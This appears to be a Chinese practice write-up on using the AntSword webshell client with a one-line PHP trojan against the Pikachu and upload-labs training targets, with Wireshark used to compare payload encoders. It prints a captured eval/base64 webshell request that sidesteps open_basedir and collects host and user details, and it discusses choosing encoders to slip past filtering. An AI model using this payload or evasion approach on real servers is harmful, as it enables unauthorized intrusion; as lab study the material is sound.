蚁剑+wireshrk判断编码类型
在打piakchu靶场和upload-labs的时候,我在使用一句话木马配合蚁剑时,发现了下面的情况:
upload-labs:
下面是有返回内容的情况(也就是能够进行连接的)
这并不是根据解码器来算的,因为无论解码器是什么都可以连接,是按照编码器来算的。
chr编码器:对payload的所有字符都利用利用chr函数进行转换。
chr16编码器:对payload的所有字符都利用chr函数转换,与chr编码器不同的是chr16编码器对chr函数传递的参数是十六进制。
这两种编码器都可以使用,因为会自动修改数据为对应进制,所以在upload-labs靶场下,这两种编码并没有什么区别,所以就不进行chr16的分析。
chr+default
chr+base64
chr+rot13
base64编码器:(因为没有返回值,所以无论什么解码器都一样)
由于抓的包都经历过url编码,所以这里进行一下解码才是我们上传的东西
@eval(@base64_decode($_POST['g717f211ad0c16']));&g717f211ad0c16=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7JG9wZGlyPUBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTtpZigkb3BkaXIpIHskb2N3ZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7JG9wYXJyPXByZWdfc3BsaXQoYmFzZTY0X2RlY29kZSgiTHp0OE9pOD0iKSwkb3BkaXIpO0BhcnJheV9wdXNoKCRvcGFyciwkb2N3ZCxzeXNfZ2V0X3RlbXBfZGlyKCkpO2ZvcmVhY2goJG9wYXJyIGFzICRpdGVtKSB7aWYoIUBpc193cml0YWJsZSgkaXRlbSkpe2NvbnRpbnVlO307JHRtZGlyPSRpdGVtLiIvLjAzM2U3NjAiO0Bta2RpcigkdG1kaXIpO2lmKCFAZmlsZV9leGlzdHMoJHRtZGlyKSl7Y29udGludWU7fSR0bWRpcj1yZWFscGF0aCgkdG1kaXIpO0BjaGRpcigkdG1kaXIpO0Bpbmlfc2V0KCJvcGVuX2Jhc2VkaXIiLCAiLi4iKTskY250YXJyPUBwcmVnX3NwbGl0KCIvXFxcXHxcLy8iLCR0bWRpcik7Zm9yKCRpPTA7JGk8c2l6ZW9mKCRjbnRhcnIpOyRpKyspe0BjaGRpcigiLi4iKTt9O0Bpbmlfc2V0KCJvcGVuX2Jhc2VkaXIiLCIvIik7QHJtZGlyKCR0bWRpcik7YnJlYWs7fTt9OztmdW5jdGlvbiBhc2VuYygkb3V0KXtyZXR1cm4gJG91dDt9O2Z1bmN0aW9uIGFzb3V0cHV0KCl7JG91dHB1dD1vYl9nZXRfY29udGVudHMoKTtvYl9lbmRfY2xlYW4oKTtlY2hvICIzZDFjYiIuIjk4Nzg2NSI7ZWNobyBAYXNlbmMoJG91dHB1dCk7ZWNobyAiZjU1YTRhIi4iZTFiNmE3Ijt9b2Jfc3RhcnQoKTt0cnl7JEQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pO2lmKCREPT0iIikkRD1kaXJuYW1lKCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk7JFI9InskRH0JIjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJDIiwiWiIpYXMgJEwpaWYoaXNfZGlyKCJ7JEx9OiIpKSRSLj0ieyRMfToiO31lbHNleyRSLj0iLyI7fSRSLj0iCSI7JHU9KGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0ZWdpZCIpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6IiI7JHM9KCR1KT8kdVsibmFtZSJdOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iCXskc30iO2VjaG8gJFI7O31jYXRjaChFeGNlcHRpb24gJGUpe2VjaG8gIkVSUk9SOi8vIi4kZS0+Z2V0TWVzc2FnZSgpO307YXNvdXRwdXQoKTtkaWUoKTs=
可以看到,将g717f211ad0c16变量的值进行了base64解码后上传
但是这种整体的语句貌似更容易被检测出来,导致没有返回值
pikachu:
在文件上传中,我尝试了很多组合,但是都没有上传失败的情况,说明pikachu对于我们上传的包没有进行任何过滤
同样经过url和base64解码后可以发现操作没有任何不同
为什么解码器可以随意选择
服务器不进行过滤:如果服务器不对传出的数据包进行任何内容审查、编码检查或大小限制,解码器可以直接接收和解析返回的数据,无需担心被阻断或修改。这种情况下,解码器可以顺利完成解码操作。
没有防火墙或过滤器的干扰:没有 WAF(Web 应用防火墙)或其他安全系统对返回数据包进行干扰或封禁的情况下,任何类型的 Webshell 请求都可能不受阻碍地通过。这意味着蚁剑能够发送请求并成功接收到未经修改的服务器响应数据。
解码器灵活处理返回包:由于服务器没有对返回包施加任何过滤,蚁剑的解码器可以按照其设计好的逻辑处理返回的所有数据。因此,不管数据经过何种编码,只要解码器知道如何处理这些编码,它都能正常解析。
总结:
upload-labs的后台防御相较于pikachu要高一些,过滤了base和rot13方式的上传,但是并没有过滤掉chr和chr16的情况
那么以后编码选择就可以是:
1.手动爆破形式(一个一个试验)
2.自己设置一种编码,然后导入使用设置自己的编码器
以上纯粹个人理解,各位师傅如果有更加完善的理解,希望师傅们指出我的错误!!!